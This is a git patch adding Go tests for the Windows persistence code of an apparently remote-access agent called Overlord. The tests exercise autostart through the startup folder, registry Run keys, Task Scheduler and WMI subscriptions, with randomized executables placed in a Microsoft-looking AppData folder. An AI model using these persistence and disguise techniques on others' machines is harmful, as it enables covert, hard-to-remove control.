From 5da706bc8892493994f70861adefea87fac5fab3 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 12 Mar 2026 18:16:48 -0500 Subject: [PATCH] tests for persistence on windows --- .../persistence/persistence_windows_test.go | 361 ++++++++++++++++++ 1 file changed, 361 insertions(+) diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go index 399f849..c928590 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go @@ -8,6 +8,8 @@ import ( "path/filepath" "strings" "testing" + + "golang.org/x/sys/windows/registry" ) func TestGetTargetPath_UsesStartupFolderAndRandomizedOvdName(t *testing.T) { @@ -73,3 +75,362 @@ func TestIsOverlordRunValueName(t *testing.T) { }) } } + +func TestActiveMethod(t *testing.T) { + orig := DefaultPersistenceMethod + t.Cleanup(func() { DefaultPersistenceMethod = orig }) + + tests := []struct { + in string + want string + }{ + {"startup", "startup"}, + {"registry", "registry"}, + {"taskscheduler", "taskscheduler"}, + {"wmi", "wmi"}, + {"REGISTRY", "registry"}, + {"TaskScheduler", "taskscheduler"}, + {"WMI", "wmi"}, + {"", "startup"}, + {"unknown", "startup"}, + {" registry ", "registry"}, + } + for _, tt := range tests { + t.Run(tt.in, func(t *testing.T) { + DefaultPersistenceMethod = tt.in + if got := activeMethod(); got != tt.want { + t.Fatalf("activeMethod() = %q, want %q (input=%q)", got, tt.want, tt.in) + } + }) + } +} + +func TestGetTargetPath_NonStartupMethodsUseAppDataBinaryDir(t *testing.T) { + orig := DefaultPersistenceMethod + t.Cleanup(func() { DefaultPersistenceMethod = orig }) + + for _, method := range []string{"registry", "taskscheduler", "wmi"} { + t.Run(method, func(t *testing.T) { + DefaultPersistenceMethod = method + appData := t.TempDir() + t.Setenv("APPDATA", appData) + + got, err := getTargetPath() + if err != nil { + t.Fatalf("getTargetPath() error: %v", err) + } + wantDir := filepath.Join(appData, appDataBinaryDir) + if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) { + t.Fatalf("method=%q: expected dir %q, got %q", method, wantDir, filepath.Dir(got)) + } + base := strings.ToLower(filepath.Base(got)) + if !strings.HasPrefix(base, startupExecutablePrefix) || !strings.HasSuffix(base, ".exe") { + t.Fatalf("method=%q: expected ovd_*.exe name, got %q", method, filepath.Base(got)) + } + }) + } +} + +func TestGetTargetPath_PrefersExistingBinary_AppDataDir(t *testing.T) { + orig := DefaultPersistenceMethod + t.Cleanup(func() { DefaultPersistenceMethod = orig }) + DefaultPersistenceMethod = "registry" + + appData := t.TempDir() + t.Setenv("APPDATA", appData) + + dir := filepath.Join(appData, appDataBinaryDir) + if err := os.MkdirAll(dir, 0755); err != nil { + t.Fatalf("mkdir: %v", err) + } + expected := filepath.Join(dir, "ovd_existing.exe") + if err := os.WriteFile(expected, []byte("x"), 0644); err != nil { + t.Fatalf("write: %v", err) + } + + got, err := getTargetPath() + if err != nil { + t.Fatalf("getTargetPath() error: %v", err) + } + if !strings.EqualFold(filepath.Clean(got), filepath.Clean(expected)) { + t.Fatalf("expected existing binary %q, got %q", expected, got) + } +} + +func TestGetTargetPath_MissingAPPDATA(t *testing.T) { + t.Setenv("APPDATA", "") + if _, err := getTargetPath(); err == nil { + t.Fatal("expected error when APPDATA is empty, got nil") + } +} + +func TestDeriveTaskName_DeterministicAndPrefixed(t *testing.T) { + path := `C:\Users\testuser\AppData\Roaming\Microsoft\DeviceSync\ovd_aabbccdd.exe` + got1 := deriveTaskName(path) + got2 := deriveTaskName(path) + if got1 != got2 { + t.Fatalf("deriveTaskName is not deterministic: %q vs %q", got1, got2) + } + if !strings.HasPrefix(got1, taskNamePrefix) { + t.Fatalf("task name %q does not have prefix %q", got1, taskNamePrefix) + } +} + +func TestDeriveTaskName_DifferentPathsDifferentNames(t *testing.T) { + a := deriveTaskName(`C:\path\a\agent.exe`) + b := deriveTaskName(`C:\path\b\agent.exe`) + if a == b { + t.Fatalf("expected distinct task names for distinct paths, both are %q", a) + } +} + +func TestDeriveTaskName_CaseInsensitive(t *testing.T) { + lower := deriveTaskName(`c:\users\user\agent.exe`) + upper := deriveTaskName(`C:\Users\User\Agent.exe`) + if lower != upper { + t.Fatalf("deriveTaskName should be case-insensitive: %q vs %q", lower, upper) + } +} + +func TestDeriveWMINames_DeterministicPrefixedAndDistinct(t *testing.T) { + path := `C:\Users\testuser\AppData\Roaming\Microsoft\DeviceSync\ovd_aabbccdd.exe` + f1, c1 := deriveWMINames(path) + f2, c2 := deriveWMINames(path) + if f1 != f2 || c1 != c2 { + t.Fatalf("deriveWMINames not deterministic: filter %q!=%q or consumer %q!=%q", f1, f2, c1, c2) + } + if !strings.HasPrefix(f1, taskNamePrefix) { + t.Fatalf("filter name %q missing prefix %q", f1, taskNamePrefix) + } + if !strings.HasPrefix(c1, taskNamePrefix) { + t.Fatalf("consumer name %q missing prefix %q", c1, taskNamePrefix) + } + if f1 == c1 { + t.Fatalf("filter and consumer names must differ, both are %q", f1) + } +} + +func TestDeriveWMINames_DifferentPaths(t *testing.T) { + f1, c1 := deriveWMINames(`C:\path\a\agent.exe`) + f2, c2 := deriveWMINames(`C:\path\b\agent.exe`) + if f1 == f2 || c1 == c2 { + t.Fatalf("expected distinct WMI names for distinct paths: filter %q==%q, consumer %q==%q", f1, f2, c1, c2) + } +} + +func TestGenerateBinaryName_FormatAndUniqueness(t *testing.T) { + seen := make(map[string]bool) + for i := 0; i < 20; i++ { + name, err := generateBinaryName() + if err != nil { + t.Fatalf("generateBinaryName() error: %v", err) + } + lower := strings.ToLower(name) + if !strings.HasPrefix(lower, startupExecutablePrefix) { + t.Fatalf("name %q missing prefix %q", name, startupExecutablePrefix) + } + if !strings.HasSuffix(lower, ".exe") { + t.Fatalf("name %q missing .exe suffix", name) + } + if seen[lower] { + t.Fatalf("generateBinaryName produced a duplicate in 20 iterations: %q", name) + } + seen[lower] = true + } +} + +func TestFindExistingBinaryInDir_EmptyDir(t *testing.T) { + _, ok := findExistingBinaryInDir(t.TempDir()) + if ok { + t.Fatal("expected false for empty dir, got true") + } +} + +func TestFindExistingBinaryInDir_FoundMatchingFile(t *testing.T) { + dir := t.TempDir() + expected := filepath.Join(dir, "ovd_test.exe") + if err := os.WriteFile(expected, []byte("x"), 0644); err != nil { + t.Fatalf("write: %v", err) + } + got, ok := findExistingBinaryInDir(dir) + if !ok { + t.Fatal("expected true, got false") + } + if !strings.EqualFold(filepath.Clean(got), filepath.Clean(expected)) { + t.Fatalf("expected %q, got %q", expected, got) + } +} + +func TestFindExistingBinaryInDir_IgnoresNonMatchingFiles(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "other_agent.exe"), []byte("x"), 0644); err != nil { + t.Fatalf("write: %v", err) + } + _, ok := findExistingBinaryInDir(dir) + if ok { + t.Fatal("expected false for non-prefixed file, got true") + } +} + +func TestFindExistingBinaryInDir_IgnoresDirectories(t *testing.T) { + dir := t.TempDir() + subdir := filepath.Join(dir, "ovd_dir.exe") + if err := os.Mkdir(subdir, 0755); err != nil { + t.Fatalf("mkdir: %v", err) + } + _, ok := findExistingBinaryInDir(dir) + if ok { + t.Fatal("expected false when only a directory matches the prefix, got true") + } +} + +func TestFindExistingBinaryInDir_NonexistentDir(t *testing.T) { + _, ok := findExistingBinaryInDir(filepath.Join(t.TempDir(), "does_not_exist")) + if ok { + t.Fatal("expected false for nonexistent dir, got true") + } +} + +func TestCleanupPrefixedExecutables_RemovesOvdFiles(t *testing.T) { + dir := t.TempDir() + for _, name := range []string{"ovd_aabbcc.exe", "ovd_112233.exe"} { + if err := os.WriteFile(filepath.Join(dir, name), []byte("x"), 0644); err != nil { + t.Fatalf("write %q: %v", name, err) + } + } + keepers := []string{"other_app.exe", "system32.dll"} + for _, name := range keepers { + if err := os.WriteFile(filepath.Join(dir, name), []byte("x"), 0644); err != nil { + t.Fatalf("write %q: %v", name, err) + } + } + + if err := cleanupPrefixedExecutables(dir); err != nil { + t.Fatalf("cleanupPrefixedExecutables: %v", err) + } + + entries, _ := os.ReadDir(dir) + for _, e := range entries { + if strings.HasPrefix(strings.ToLower(e.Name()), startupExecutablePrefix) { + t.Fatalf("ovd_* file %q was not removed", e.Name()) + } + } + if got, want := len(entries), len(keepers); got != want { + t.Fatalf("expected %d files remaining, got %d", want, got) + } +} + +func TestCleanupPrefixedExecutables_NonexistentDirReturnsNil(t *testing.T) { + if err := cleanupPrefixedExecutables(filepath.Join(t.TempDir(), "nonexistent")); err != nil { + t.Fatalf("expected nil for nonexistent dir, got %v", err) + } +} + +func TestInstallRegistry_WritesQuotedValue(t *testing.T) { + dummy := `C:\Testing\ovd_testvalue.exe` + if err := installRegistry(dummy); err != nil { + t.Fatalf("installRegistry: %v", err) + } + + k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, + registry.QUERY_VALUE|registry.SET_VALUE) + if err != nil { + t.Fatalf("open registry key: %v", err) + } + defer k.Close() + + names, _ := k.ReadValueNames(0) + var found string + for _, name := range names { + if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) { + val, _, _ := k.GetStringValue(name) + if strings.Contains(val, "ovd_testvalue.exe") { + found = name + break + } + } + } + if found == "" { + t.Fatal("installRegistry did not write expected Run key value") + } + val, _, _ := k.GetStringValue(found) + if !strings.HasPrefix(val, `"`) || !strings.HasSuffix(val, `"`) { + t.Fatalf("expected quoted value like \"...\", got %q", val) + } + _ = k.DeleteValue(found) +} + +func TestInstallRegistry_UpdatesExistingValue(t *testing.T) { + first := `C:\Testing\ovd_first.exe` + second := `C:\Testing\ovd_second.exe` + + if err := installRegistry(first); err != nil { + t.Fatalf("installRegistry(first): %v", err) + } + if err := installRegistry(second); err != nil { + t.Fatalf("installRegistry(second): %v", err) + } + + k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, + registry.QUERY_VALUE|registry.SET_VALUE) + if err != nil { + t.Fatalf("open registry key: %v", err) + } + defer k.Close() + + names, _ := k.ReadValueNames(0) + var matches []string + for _, name := range names { + if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) { + val, _, _ := k.GetStringValue(name) + if strings.Contains(val, "ovd_first.exe") || strings.Contains(val, "ovd_second.exe") { + matches = append(matches, name) + } + } + } + for _, name := range matches { + _ = k.DeleteValue(name) + } + if len(matches) != 1 { + t.Fatalf("expected exactly 1 Run value for the two installs, got %d", len(matches)) + } +} + +func TestCleanupOverlordRunValues_RemovesMatchingValues(t *testing.T) { + k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, + registry.QUERY_VALUE|registry.SET_VALUE) + if err != nil { + t.Fatalf("open registry key: %v", err) + } + defer k.Close() + + toClean := []string{"OverlordAgent", "OverlordAgent-deadbeef", "OverlordAgent-cafebabe"} + for _, name := range toClean { + if err := k.SetStringValue(name, `"C:\dummy.exe"`); err != nil { + t.Fatalf("write %q: %v", name, err) + } + } + keepName := "SomeOtherAppNotOverlord" + if err := k.SetStringValue(keepName, `"C:\other.exe"`); err != nil { + t.Fatalf("write keeper: %v", err) + } + t.Cleanup(func() { + _ = k.DeleteValue(keepName) + for _, name := range toClean { + _ = k.DeleteValue(name) + } + }) + + if err := cleanupOverlordRunValues(k); err != nil { + t.Fatalf("cleanupOverlordRunValues: %v", err) + } + + for _, name := range toClean { + if _, _, err := k.GetStringValue(name); err == nil { + t.Errorf("expected %q to be deleted, but it still exists", name) + } + } + if _, _, err := k.GetStringValue(keepName); err != nil { + t.Fatalf("expected %q to remain, got error: %v", keepName, err) + } +}